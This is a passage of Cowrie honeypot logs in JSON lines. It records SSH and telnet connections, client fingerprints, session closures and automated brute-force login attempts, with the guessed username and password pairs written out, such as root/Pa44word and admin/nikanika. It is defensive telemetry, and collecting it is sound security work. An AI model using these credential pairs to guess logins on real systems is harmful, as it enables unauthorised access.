{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:46.430037Z","src_ip":"193.24.211.100","session":"4b7df6dc7cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica","message":"login attempt [root/monica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:46.858137Z","src_ip":"193.24.211.100","session":"4b7df6dc7cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:47.973287Z","src_ip":"193.24.211.100","session":"4b7df6dc7cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.82776379585266,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:54.679413Z","src_ip":"212.55.149.117","session":"5e7e90826ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a76fc7f72148","protocol":"telnet","message":"New connection: 69.6.249.0:39546 (159.203.135.109:23) [session: a76fc7f72148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:13.096354Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":57886,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ca316f25b4","protocol":"ssh","message":"New connection: 87.106.44.172:57886 (10.17.0.5:22) [session: c6ca316f25b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:29.446629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:29.463181Z","src_ip":"87.106.44.172","session":"c6ca316f25b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:29.563473Z","src_ip":"87.106.44.172","session":"c6ca316f25b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777","message":"login attempt [root/777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:29.988701Z","src_ip":"87.106.44.172","session":"c6ca316f25b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:31.070920Z","src_ip":"87.106.44.172","session":"c6ca316f25b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37436,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb51448f802d","protocol":"ssh","message":"New connection: 103.15.226.202:37436 (10.17.0.5:22) [session: fb51448f802d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:40.038103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:40.042857Z","src_ip":"103.15.226.202","session":"fb51448f802d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:40.284397Z","src_ip":"103.15.226.202","session":"fb51448f802d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociisprd","password":"ociisprd","message":"login attempt [ociisprd/ociisprd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:41.010557Z","src_ip":"103.15.226.202","session":"fb51448f802d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:42.255280Z","src_ip":"103.15.226.202","session":"fb51448f802d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37440586090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:43.470628Z","src_ip":"69.6.249.0","session":"a76fc7f72148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":6497,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ead85d8350","protocol":"ssh","message":"New connection: 2.57.121.112:6497 (159.203.135.109:22) [session: e0ead85d8350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:51.724266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:51.729414Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:51.835376Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nikanika","message":"login attempt [admin/nikanika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:52.330702Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nfnfhby","message":"login attempt [admin/nfnfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:53.440277Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nesterov","message":"login attempt [admin/nesterov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:54.549646Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"negril","message":"login attempt [admin/negril] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:55.658371Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nbViBt","message":"login attempt [admin/nbViBt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:56.767416Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:56:57.876821Z","src_ip":"2.57.121.112","session":"e0ead85d8350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":44642,"dst_ip":"10.17.0.5","dst_port":22,"session":"32397befef31","protocol":"ssh","message":"New connection: 87.106.44.172:44642 (10.17.0.5:22) [session: 32397befef31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:23.719941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:23.772121Z","src_ip":"87.106.44.172","session":"32397befef31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:23.848920Z","src_ip":"87.106.44.172","session":"32397befef31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"santa","message":"login attempt [root/santa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:24.236023Z","src_ip":"87.106.44.172","session":"32397befef31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:25.318451Z","src_ip":"87.106.44.172","session":"32397befef31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.186.245.43","src_port":24294,"dst_ip":"159.203.135.109","dst_port":23,"session":"52f1786840f3","protocol":"telnet","message":"New connection: 91.186.245.43:24294 (159.203.135.109:23) [session: 52f1786840f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:31.571196Z"}
{"eventid":"cowrie.session.closed","duration":12.195413827896118,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:57:43.766510Z","src_ip":"91.186.245.43","session":"52f1786840f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":44148,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b067f836fc0","protocol":"ssh","message":"New connection: 87.106.44.172:44148 (10.17.0.5:22) [session: 0b067f836fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:18.555384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:18.561358Z","src_ip":"87.106.44.172","session":"0b067f836fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:18.675839Z","src_ip":"87.106.44.172","session":"0b067f836fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa44word","message":"login attempt [root/Pa44word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:19.071997Z","src_ip":"87.106.44.172","session":"0b067f836fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:20.154725Z","src_ip":"87.106.44.172","session":"0b067f836fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":42004,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e6b7d0710d","protocol":"telnet","message":"New connection: 129.232.238.42:42004 (159.203.135.109:23) [session: e7e6b7d0710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:58:21.782610Z"}
{"eventid":"cowrie.session.closed","duration":42.006009578704834,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:03.788522Z","src_ip":"129.232.238.42","session":"e7e6b7d0710d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c076858dcc5","protocol":"ssh","message":"New connection: 87.106.44.172:55518 (10.17.0.5:22) [session: 2c076858dcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:15.459070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:15.548756Z","src_ip":"87.106.44.172","session":"2c076858dcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:15.634166Z","src_ip":"87.106.44.172","session":"2c076858dcc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf!@#$","message":"login attempt [root/asdf!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:16.038568Z","src_ip":"87.106.44.172","session":"2c076858dcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:17.120504Z","src_ip":"87.106.44.172","session":"2c076858dcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":41836,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f31d91f9bbc","protocol":"telnet","message":"New connection: 212.55.149.117:41836 (10.17.0.5:23) [session: 6f31d91f9bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:59:48.654539Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":60290,"dst_ip":"10.17.0.5","dst_port":22,"session":"91328030a86c","protocol":"ssh","message":"New connection: 87.106.44.172:60290 (10.17.0.5:22) [session: 91328030a86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.337932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.435447Z","src_ip":"87.106.44.172","session":"91328030a86c","protocol":"ssh"}
